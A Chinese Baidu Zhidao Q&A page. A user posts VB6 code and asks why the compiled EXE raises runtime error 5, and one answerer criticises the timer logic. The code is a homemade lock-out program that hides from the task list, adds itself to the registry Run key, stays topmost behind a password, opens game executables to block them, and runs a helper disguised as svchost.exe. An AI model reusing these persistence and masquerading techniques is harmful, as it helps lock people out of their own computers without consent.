VB 运行时错误5 无效的过程调用或参数 30

我编了一个程序,以下是代码:PrivateSubCommand1_Click()IfText1.Text="xxThenMsgBox"密码正确,退出!"Timer1.En... 我编了一个程序,以下是代码:
Private Sub Command1_Click()
If Text1.Text = "xxThen
MsgBox "密码正确,退出!"
Timer1.Enabled = False
Form1.Visible = False
Else
MsgBox "密码错误!", vbCritical
End If
End Sub
Private Sub Command2_Click()
Shell App.Path & "\SJ\svchost.exe"
Timer1.Enabled = False
Form1.Visible = False
End Sub
Private Sub Form_Load()
Set w = CreateObject("wscript.shell")
App.TaskVisible = False
App.Title = ""
w.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\X", App.Path & "\" & App.EXEName & ".exe"
Open "D:\X\红警2尢里的复仇\YURI.exe" For Binary As #1
Open "F:\地下城与勇士\Uninstall.exe" For Binary As #2
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 2
MsgBox "请填密码!", vbCritical
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 2
MsgBox "请填密码!", vbCritical
End Sub
Private Sub Timer1_Timer()
SetWindowPos Form1.hwnd, HWND_TOPMOST, 0, 0, 0, 0, Flag
Form1.SetFocus
End Sub
我把进程名改成svchost.exe是为了有人恶意关闭,SetWindowPos已经在模块里声名了,请问为什么在编译环境下不会出现错误,而生成EXE文件就会出现错误呢?
第二行错了 少了 "
oldt888你说循环10次,会出错吗,那为什么启动之后不管等多久都没问题,按下按钮才出错
有神经病
展开
 我来答
oldt888
2010-01-16 · TA获得超过2168个赞
知道小有建树答主
回答量:2191
采纳率:65%
帮助的人:721万
展开全部
n你的程序逻辑太差了!!!

程序运行后,就不断地运行

SetWindowPos Form1.hwnd, HWND_TOPMOST, 0, 0, 0, 0, Flag
Form1.SetFocus

不知道你多长时间让他运行一次,反正你不停止,它就不断地运行, 知道系统出了问题.

好好修改你的程序逻辑去吧!!!!
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式